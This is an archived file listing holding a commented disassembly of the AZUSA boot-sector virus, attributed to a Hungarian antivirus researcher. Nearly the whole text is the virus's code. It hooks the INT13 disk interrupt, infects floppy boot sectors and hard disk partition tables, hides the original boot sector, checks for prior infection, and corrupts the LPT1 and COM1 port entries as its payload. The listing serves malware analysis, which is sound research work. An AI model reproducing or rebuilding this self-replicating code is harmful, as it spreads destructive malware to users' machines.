home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-A.ZIP / AZUSA.ASM < prev   
Assembly Source File  |  1992-01-25  |  11KB  |  285 lines

  1.  
  2. ;     AZUSA virus
  3. ;
  4. ;    Discovered an commented by  Ferenc Leitold
  5. ;                   Hungarian VirusBuster Team
  6. ;                              Address: 1399 Budapest
  7. ;                                       P.O. box 701/349
  8. ;                                          HUNGARY
  9.  
  10.  
  11.  
  12. 217D:0100  E98B00         JMP    018E        ; Jump to main entry point
  13. 217D:0103  50             PUSH   AX
  14. 217D:0104  43             INC    BX
  15. 217D:0105  20546F         AND    [SI+6F],DL
  16. 217D:0108  6F             OUTSW
  17. 217D:0109  6C             INSB
  18. 217D:010A  73
  19.  
  20.                         ; INT13 entry point
  21. 217D:010B  F6C402         TEST     AH,02
  22. 217D:010E  745B           JZ     016B
  23. 217D:0110  F6C280         TEST   DL,80
  24. 217D:0113  7556           JNZ    016B         ; Jump, if hard disk
  25. 217D:0115  50             PUSH   AX
  26. 217D:0116  1E             PUSH   DS
  27. 217D:0117  31C0           XOR    AX,AX
  28. 217D:0119  8ED8           MOV    DS,AX
  29. 217D:011B  88D0           MOV    AL,DL
  30. 217D:011D  FEC0           INC    AL
  31. 217D:011F  84063F04       TEST   [043F],AL    ; test diskette is work
  32. 217D:0123  7544           JNZ    0169
  33.  
  34. 217D:0125  53             PUSH   BX        ; Save registers
  35. 217D:0126  51             PUSH   CX
  36. 217D:0127  52             PUSH   DX
  37. 217D:0128  06             PUSH   ES
  38. 217D:0129  57             PUSH   DI
  39. 217D:012A  56             PUSH   SI
  40.  
  41. 217D:012B  B80102         MOV    AX,0201    ; Load boot sector of disk
  42. 217D:012E  0E             PUSH   CS
  43. 217D:012F  07             POP    ES
  44. 217D:0130  BB0002         MOV    BX,0200
  45. 217D:0133  B90100         MOV    CX,0001
  46. 217D:0136  B600           MOV    DH,00
  47. 217D:0138  E83500         CALL   0170
  48. 217D:013B  7226           JC     0163        ; jump, if error
  49.  
  50. 217D:013D  0E             PUSH   CS
  51. 217D:013E  1F             POP    DS
  52. 217D:013F  A18902         MOV    AX,[0289]    ; Check if infected yet ?
  53. 217D:0142  3B068900       CMP    AX,[0089]
  54. 217D:0146  741B           JZ     0163        ; Jump, if infected
  55.  
  56. 217D:0148  B80103         MOV    AX,0301    ; Write orig. boot sector
  57. 217D:014B  B90827         MOV    CX,2708    ; cyl.: 39   sect.: 8
  58. 217D:014E  B601           MOV    DH,01          ; head: 1
  59. 217D:0150  E81D00         CALL   0170           ;  Call INT13 (write)
  60. 217D:0153  720E           JC     0163
  61. 217D:0155  E81F00         CALL   0177        ; Copy parameters
  62. 217D:0158  B80103         MOV    AX,0301    ; Write virus body
  63. 217D:015B  31DB           XOR    BX,BX
  64. 217D:015D  41             INC    CX             ; CX will 1 (CALL 0177)
  65. 217D:015E  B600           MOV    DH,00          ; head: 0
  66. 217D:0160  E80D00         CALL   0170           ;  Call INT13 (write)
  67.  
  68. 217D:0163  5E             POP    SI        ; Restore registers
  69. 217D:0164  5F             POP    DI
  70. 217D:0165  07             POP    ES
  71. 217D:0166  5A             POP    DX
  72. 217D:0167  59             POP    CX
  73. 217D:0168  5B             POP    BX
  74.  
  75. 217D:0169  1F             POP    DS
  76. 217D:016A  58             POP    AX
  77.  
  78. 217D:016B  EAEBA100F0     JMP    F000:A1EB    ; Jump to orig. INT13
  79.  
  80. 217D:0170  9C             PUSHF            ; Call orig. INT13
  81. 217D:0171  2EFF1E6C00     CALL   Far CS:[006C]
  82. 217D:0176  C3             RET
  83.  
  84. 217D:0177  BE0302         MOV    SI,0203    ; Copy diskette par. area
  85. 217D:017A  BF0300         MOV    DI,0003
  86. 217D:017D  B90800         MOV    CX,0008
  87. 217D:0180  FC             CLD
  88. 217D:0181  F3A4           REP    MOVSB
  89.  
  90. 217D:0183  BE7003         MOV    SI,0370        ; Copy parttition info.
  91. 217D:0186  BF7001         MOV    DI,0170
  92. 217D:0189  B190           MOV    CL,90
  93. 217D:018B  F3A4           REP    MOVSB
  94. 217D:018D  C3             RET
  95.  
  96.  
  97. ;*************************** Main entry point *************************
  98.  
  99. 217D:018E  31C0           XOR    AX,AX        ; Set STACK and DS
  100. 217D:0190  8ED8           MOV    DS,AX
  101. 217D:0192  8ED0           MOV    SS,AX
  102. 217D:0194  BC007C         MOV    SP,7C00
  103.  
  104. 217D:0197  A14C00         MOV    AX,[004C]    ; Save INT13 vector
  105. 217D:019A  A36C7C         MOV    [7C6C],AX
  106. 217D:019D  A14E00         MOV    AX,[004E]
  107. 217D:01A0  A36E7C         MOV    [7C6E],AX
  108.  
  109. 217D:01A3  A11304         MOV    AX,[0413]    ; Decrease memory by 1KB
  110. 217D:01A6  48             DEC    AX
  111. 217D:01A7  A31304         MOV    [0413],AX
  112.  
  113. 217D:01AA  B106           MOV    CL,06        ; Calculate segment at TOP
  114. 217D:01AC  D3E0           SHL    AX,CL
  115. 217D:01AE  8EC0           MOV    ES,AX
  116.  
  117. 217D:01B0  C7064C000B00   MOV    [004C],000B    ; Set new INT13 vector
  118. 217D:01B6  A34E00         MOV    [004E],AX
  119.  
  120. 217D:01B9  B90002         MOV    CX,0200    ; Copy itself to TOP
  121. 217D:01BC  BE007C         MOV    SI,7C00
  122. 217D:01BF  31FF           XOR    DI,DI
  123. 217D:01C1  FC             CLD
  124. 217D:01C2  F3A4           REP    MOVSB
  125.  
  126. 217D:01C4  50             PUSH   AX        ; Jump to TOP
  127. 217D:01C5  B8CA00         MOV    AX,00CA
  128. 217D:01C8  50             PUSH   AX
  129. 217D:01C9  CB             RET    Far
  130.  
  131.  
  132.  TOP:01CA  31C0           XOR    AX,AX        ; Reset drive
  133.  TOP:01CC  CD13           INT    13
  134.  
  135.  TOP:01CE  31C0           XOR    AX,AX
  136.  TOP:01D0  8EC0           MOV    ES,AX
  137.  TOP:01D2  B80102         MOV    AX,0201
  138.  TOP:01D5  BB007C         MOV    BX,7C00
  139.  TOP:01D8  0E             PUSH   CS
  140.  TOP:01D9  1F             POP    DS
  141.  TOP:01DA  E83F00         CALL   021C        ; Set CX & DX as the info
  142.                         ;  of boot partition
  143.  TOP:01DD  F6C1FF         TEST   CL,FF        ; Check if it is floppy
  144.  TOP:01E0  7408           JZ     01EA        ; Jump, if it is
  145.  TOP:01E2  E85100         CALL   0236
  146.  TOP:01E5  EA007C0000     JMP    0000:7C00    ; Jump to boot
  147.  
  148.  
  149.                         ; If floppy disk
  150.  TOP:01EA  B90827         MOV    CX,2708    ; load original boot
  151.  TOP:01ED  BA0001         MOV    DX,0100
  152.  TOP:01F0  CD13           INT    13
  153.  TOP:01F2  72F1           JC     01E5        ; jump, if error
  154.  
  155.  TOP:01F4  0E             PUSH   CS
  156.  TOP:01F5  07             POP    ES
  157.  
  158.  TOP:01F6  B80102         MOV    AX,0201    ; Load partition table of
  159.  TOP:01F9  BB0002         MOV    BX,0200    ; hard disk
  160.  TOP:01FC  B90100         MOV    CX,0001
  161.  TOP:01FF  BA8000         MOV    DX,0080
  162.  TOP:0202  CD13           INT    13
  163.  TOP:0204  72DF           JC     01E5
  164.  
  165.  TOP:0206  A18902         MOV    AX,[0289]    ; Check, if infected yet ?
  166.  TOP:0209  39068900       CMP    [0089],AX
  167.  TOP:020D  74D6           JZ     01E5        ; jump to boot, if it is
  168.  
  169.  TOP:020F  E865FF         CALL   0177        ; Copy parameter area
  170.  TOP:0212  B80103         MOV    AX,0301    ; Save virus as part. table
  171.  TOP:0215  31DB           XOR    BX,BX
  172.  TOP:0217  41             INC    CX
  173.  TOP:0218  CD13           INT    13
  174.  TOP:021A  EBC9           JMP    01E5
  175.  
  176.  TOP:021C  BEBE01         MOV    SI,01BE    ; Find boot partition
  177.  TOP:021F  B90400         MOV    CX,0004    ;  in partition table
  178.  TOP:0222  803C80         CMP    [SI],80
  179.  TOP:0225  7407           JZ     022E
  180.  TOP:0227  83C610         ADD    SI,0010
  181.  TOP:022A  E2F6           LOOP   0222
  182.  TOP:022C  EB07           JMP    0235        ; If not found set CL=FF
  183.  TOP:022E  8B4C02         MOV    CX,[SI+02]    ; If found, load it
  184.  TOP:0231  8B14           MOV    DX,[SI]
  185.  TOP:0233  CD13           INT    13
  186.  TOP:0235  C3             RET
  187.  
  188.  TOP:0236  F6066F01E0     TEST   [016F],E0    ; Test counter
  189.  TOP:023B  7515           JNZ    0252
  190.  TOP:023D  80066F0101     ADD    [016F],01    ; increase counter
  191.  TOP:0242  B80103         MOV    AX,0301    ; save virus body
  192.  TOP:0245  0E             PUSH   CS        ;  with increased counter
  193.  TOP:0246  07             POP    ES
  194.  TOP:0247  31DB           XOR    BX,BX
  195.  TOP:0249  B90100         MOV    CX,0001
  196.  TOP:024C  B600           MOV    DH,00
  197.  TOP:024E  CD13           INT    13
  198.  TOP:0250  EB0E           JMP    0260
  199.  
  200.  TOP:0252  31C0           XOR    AX,AX
  201.  TOP:0254  8ED8           MOV    DS,AX
  202.  TOP:0256  C606080400     MOV    [0408],00    ; Corrupt LPT1 port
  203.  TOP:025B  C606000400     MOV    [0400],00    ; Coruupt COM1 port
  204.  TOP:0260  0E             PUSH   CS
  205.  TOP:0261  1F             POP    DS
  206.  TOP:0262  C6066F0100     MOV    [016F],00    ; Reset counter (in memory)
  207.  TOP:0267  C6065A0100     MOV    [015A],00    ; Zero LPT1 port corrupt par.
  208.  TOP:026C  C3             RET
  209.  
  210.  TOP:026D  0000           ADD    [BX+SI],AL
  211.  
  212.  TOP:026F  00          db    0        ; counter
  213.  
  214.  TOP:0270  000000
  215.  TOP:0273  0000           ADD    [BX+SI],AL
  216.  TOP:0275  0000           ADD    [BX+SI],AL
  217.  TOP:0277  0000           ADD    [BX+SI],AL
  218.  TOP:0279  0000           ADD    [BX+SI],AL
  219.  TOP:027B  0000           ADD    [BX+SI],AL
  220.  TOP:027D  0000           ADD    [BX+SI],AL
  221.  TOP:027F  0000           ADD    [BX+SI],AL
  222.  TOP:0281  0000           ADD    [BX+SI],AL
  223.  TOP:0283  0000           ADD    [BX+SI],AL
  224.  TOP:0285  0000           ADD    [BX+SI],AL
  225.  TOP:0287  0000           ADD    [BX+SI],AL
  226.  TOP:0289  0000           ADD    [BX+SI],AL
  227.  TOP:028B  0000           ADD    [BX+SI],AL
  228.  TOP:028D  0000           ADD    [BX+SI],AL
  229.  TOP:028F  0000           ADD    [BX+SI],AL
  230.  TOP:0291  0000           ADD    [BX+SI],AL
  231.  TOP:0293  0000           ADD    [BX+SI],AL
  232.  TOP:0295  0000           ADD    [BX+SI],AL
  233.  TOP:0297  0000           ADD    [BX+SI],AL
  234.  TOP:0299  0000           ADD    [BX+SI],AL
  235.  TOP:029B  0000           ADD    [BX+SI],AL
  236.  TOP:029D  0000           ADD    [BX+SI],AL
  237.  TOP:029F  0000           ADD    [BX+SI],AL
  238.  TOP:02A1  0000           ADD    [BX+SI],AL
  239.  TOP:02A3  0000           ADD    [BX+SI],AL
  240.  TOP:02A5  0000           ADD    [BX+SI],AL
  241.  TOP:02A7  0000           ADD    [BX+SI],AL
  242.  TOP:02A9  0000           ADD    [BX+SI],AL
  243.  TOP:02AB  0000           ADD    [BX+SI],AL
  244.  TOP:02AD  0000           ADD    [BX+SI],AL
  245.  TOP:02AF  0000           ADD    [BX+SI],AL
  246.  TOP:02B1  0000           ADD    [BX+SI],AL
  247.  TOP:02B3  0000           ADD    [BX+SI],AL
  248.  TOP:02B5  0000           ADD    [BX+SI],AL
  249.  TOP:02B7  0000           ADD    [BX+SI],AL
  250.  TOP:02B9  0000           ADD    [BX+SI],AL
  251.  TOP:02BB  0000           ADD    [BX+SI],AL
  252.  TOP:02BD  0000           ADD    [BX+SI],AL
  253.  TOP:02BF  0000           ADD    [BX+SI],AL
  254.  TOP:02C1  0000           ADD    [BX+SI],AL
  255.  TOP:02C3  0000           ADD    [BX+SI],AL
  256.  TOP:02C5  0000           ADD    [BX+SI],AL
  257.  TOP:02C7  0000           ADD    [BX+SI],AL
  258.  TOP:02C9  0000           ADD    [BX+SI],AL
  259.  TOP:02CB  0000           ADD    [BX+SI],AL
  260.  TOP:02CD  0000           ADD    [BX+SI],AL
  261.  TOP:02CF  0000           ADD    [BX+SI],AL
  262.  TOP:02D1  0000           ADD    [BX+SI],AL
  263.  TOP:02D3  0000           ADD    [BX+SI],AL
  264.  TOP:02D5  0000           ADD    [BX+SI],AL
  265.  TOP:02D7  0000           ADD    [BX+SI],AL
  266.  TOP:02D9  0000           ADD    [BX+SI],AL
  267.  TOP:02DB  0000           ADD    [BX+SI],AL
  268.  TOP:02DD  0000           ADD    [BX+SI],AL
  269.  TOP:02DF  0000           ADD    [BX+SI],AL
  270.  TOP:02E1  0000           ADD    [BX+SI],AL
  271.  TOP:02E3  0000           ADD    [BX+SI],AL
  272.  TOP:02E5  0000           ADD    [BX+SI],AL
  273.  TOP:02E7  0000           ADD    [BX+SI],AL
  274.  TOP:02E9  0000           ADD    [BX+SI],AL
  275.  TOP:02EB  0000           ADD    [BX+SI],AL
  276.  TOP:02ED  0000           ADD    [BX+SI],AL
  277.  TOP:02EF  0000           ADD    [BX+SI],AL
  278.  TOP:02F1  0000           ADD    [BX+SI],AL
  279.  TOP:02F3  0000           ADD    [BX+SI],AL
  280.  TOP:02F5  0000           ADD    [BX+SI],AL
  281.  TOP:02F7  0000           ADD    [BX+SI],AL
  282.  TOP:02F9  0000           ADD    [BX+SI],AL
  283.  TOP:02FB  0000           ADD    [BX+SI],AL
  284.  TOP:02FD  0055AA         ADD    [DI-56],DL
  285.